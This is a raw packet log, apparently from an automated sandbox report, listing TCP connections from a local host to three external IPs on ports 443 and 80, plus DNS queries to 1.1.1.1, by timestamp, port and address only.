Apr 25, 2024 21:45:23.416150093 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.502629995 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.502664089 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.502746105 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.502765894 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.502811909 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.505642891 CEST	49787	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.505666018 CEST	443	49787	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.507004023 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.507050991 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.507148981 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.507210970 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.507252932 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.507314920 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.649153948 CEST	49786	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.649174929 CEST	443	49786	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.669121981 CEST	49788	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.669210911 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.669305086 CEST	49788	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.669639111 CEST	49788	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.669673920 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.675474882 CEST	49789	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.675503016 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.675790071 CEST	49789	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.676080942 CEST	49789	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.676095963 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.936564922 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.936814070 CEST	49789	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.936829090 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.937938929 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.938282967 CEST	49789	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.938455105 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.938632965 CEST	49789	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.948204041 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.948530912 CEST	49788	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.948568106 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.949830055 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.950140953 CEST	49788	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.950320959 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.950439930 CEST	49788	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:23.984112978 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:23.992156029 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.191121101 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.191237926 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.191317081 CEST	49789	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.191330910 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.191425085 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.191485882 CEST	49789	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.192066908 CEST	49789	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.192080975 CEST	443	49789	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.216867924 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.216922998 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.216999054 CEST	49788	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.217039108 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.217080116 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.217202902 CEST	49788	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.219171047 CEST	49788	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.219199896 CEST	443	49788	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.228116035 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.228168011 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.228307009 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.228701115 CEST	49791	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.228729963 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.228796005 CEST	49791	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.229398966 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.229419947 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.229693890 CEST	49791	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.229708910 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.496031046 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.496401072 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.496433020 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.496669054 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.496826887 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.496848106 CEST	49791	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.496861935 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.497375011 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.497481108 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.497550964 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.498086929 CEST	49791	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.498172045 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.498368979 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.498488903 CEST	49791	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.544121981 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.544137955 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.765718937 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.765775919 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.765840054 CEST	49791	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.765856981 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.765924931 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.765975952 CEST	49791	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.768511057 CEST	49791	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.768523932 CEST	443	49791	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.895235062 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.895297050 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.895338058 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.895390034 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.895445108 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.895483017 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.895507097 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.895534039 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.895634890 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.895648956 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.895684004 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.895736933 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.898241997 CEST	49790	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.898272991 CEST	443	49790	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.908299923 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.908399105 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.908488989 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.908871889 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.908967018 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.909064054 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.909624100 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.909657001 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:24.909806013 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:24.909838915 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.180053949 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.182972908 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.183043003 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.183103085 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.183298111 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.183326960 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.184297085 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.184514046 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.185240030 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.185249090 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.185453892 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.185481071 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.185508013 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.185537100 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.225184917 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.225203991 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.325860023 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.572412014 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.572474003 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.572494030 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.572534084 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.572587013 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.572594881 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.572679996 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.572730064 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.572730064 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.572758913 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.572772026 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.572849035 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.573584080 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.574976921 CEST	49792	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.575010061 CEST	443	49792	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.578730106 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.578790903 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.578811884 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.578830004 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.578879118 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.578885078 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.578905106 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.578933001 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.578934908 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.578936100 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.578969002 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.578974009 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.579003096 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.579180002 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.579637051 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.581363916 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.581428051 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.581772089 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.581898928 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.581971884 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.582285881 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.583168030 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.583199978 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.583415985 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.583447933 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.583746910 CEST	49793	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.583796024 CEST	443	49793	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.847594023 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.847949982 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.847987890 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.849355936 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.849800110 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.849800110 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.850028038 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.851912975 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.852168083 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.852226019 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.853342056 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.854554892 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.854784012 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.854830027 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.896116972 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:25.907696009 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:25.925313950 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.231290102 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.231352091 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.231388092 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.231406927 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.231431007 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.231446028 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.231465101 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.231492996 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.231493950 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.231492996 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.231513023 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.231535912 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.231564045 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.231780052 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.231846094 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.234477043 CEST	49795	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.234517097 CEST	443	49795	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243578911 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243607998 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243616104 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243647099 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243664980 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243674040 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243684053 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.243756056 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243792057 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.243822098 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.243905067 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243923903 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.243967056 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.243987083 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.244014025 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.289449930 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.373226881 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.373240948 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.373286963 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.373326063 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.373357058 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.373411894 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.373433113 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.373439074 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.373452902 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.373466015 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.373508930 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.373523951 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.373550892 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.373577118 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.373600960 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.374459028 CEST	49794	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.374489069 CEST	443	49794	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.567753077 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.567832947 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.567919970 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.568546057 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.568574905 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.827953100 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.828239918 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.828313112 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.828701019 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.829648018 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.829735994 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:26.830030918 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:26.872145891 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.213032961 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.213054895 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.213068008 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.213277102 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.213340998 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.213551044 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.213572025 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.213607073 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.213607073 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.213627100 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.213664055 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.329020977 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.341173887 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341200113 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341244936 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341265917 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341308117 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.341344118 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341386080 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.341450930 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341540098 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341587067 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341590881 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.341615915 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341655016 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:27.341691971 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.345432997 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.563777924 CEST	49796	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:27.563832998 CEST	443	49796	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:42.384609938 CEST	49715	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:45:42.384629011 CEST	49713	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:45:42.494240046 CEST	80	49715	104.21.1.57	192.168.2.5
Apr 25, 2024 21:45:42.494267941 CEST	80	49713	104.21.1.57	192.168.2.5
Apr 25, 2024 21:45:45.353410959 CEST	49714	80	192.168.2.5	104.21.1.57
Apr 25, 2024 21:45:45.463888884 CEST	80	49714	104.21.1.57	192.168.2.5
Apr 25, 2024 21:45:57.594553947 CEST	49799	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:45:57.594638109 CEST	443	49799	172.217.215.99	192.168.2.5
Apr 25, 2024 21:45:57.594847918 CEST	49799	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:45:57.595300913 CEST	49799	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:45:57.595339060 CEST	443	49799	172.217.215.99	192.168.2.5
Apr 25, 2024 21:45:57.826117992 CEST	443	49799	172.217.215.99	192.168.2.5
Apr 25, 2024 21:45:57.826453924 CEST	49799	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:45:57.826473951 CEST	443	49799	172.217.215.99	192.168.2.5
Apr 25, 2024 21:45:57.827768087 CEST	443	49799	172.217.215.99	192.168.2.5
Apr 25, 2024 21:45:57.828181028 CEST	49799	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:45:57.828361988 CEST	443	49799	172.217.215.99	192.168.2.5
Apr 25, 2024 21:45:57.868745089 CEST	49799	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:46:07.818074942 CEST	443	49799	172.217.215.99	192.168.2.5
Apr 25, 2024 21:46:07.818367958 CEST	443	49799	172.217.215.99	192.168.2.5
Apr 25, 2024 21:46:07.821660042 CEST	49799	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:46:08.026938915 CEST	49799	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:46:08.026966095 CEST	443	49799	172.217.215.99	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 21:44:53.843023062 CEST	53	65382	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:53.876379967 CEST	53	62774	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:54.533078909 CEST	53	64836	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:55.451967001 CEST	55574	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:55.452188015 CEST	63685	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:55.600059032 CEST	53	63685	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:55.601160049 CEST	53	55574	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:56.382098913 CEST	51484	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:56.382237911 CEST	53980	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:56.495461941 CEST	53	51484	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:56.530857086 CEST	53	53980	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:57.092374086 CEST	64250	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:57.092642069 CEST	60978	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:57.201630116 CEST	53	62037	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:57.202512980 CEST	53	60978	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:57.203166008 CEST	53	64250	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:57.554122925 CEST	58190	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:57.554523945 CEST	65392	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:57.665287971 CEST	53	58190	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:57.665952921 CEST	53	65392	1.1.1.1	192.168.2.5
Apr 25, 2024 21:44:58.803128958 CEST	50894	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.803720951 CEST	50948	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.878463984 CEST	54449	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.878966093 CEST	51791	53	192.168.2.5	1.1.1.1
Apr 25, 2024 21:44:58.879492044 CEST	56512	53	192.168.2.5	1.1.1.1
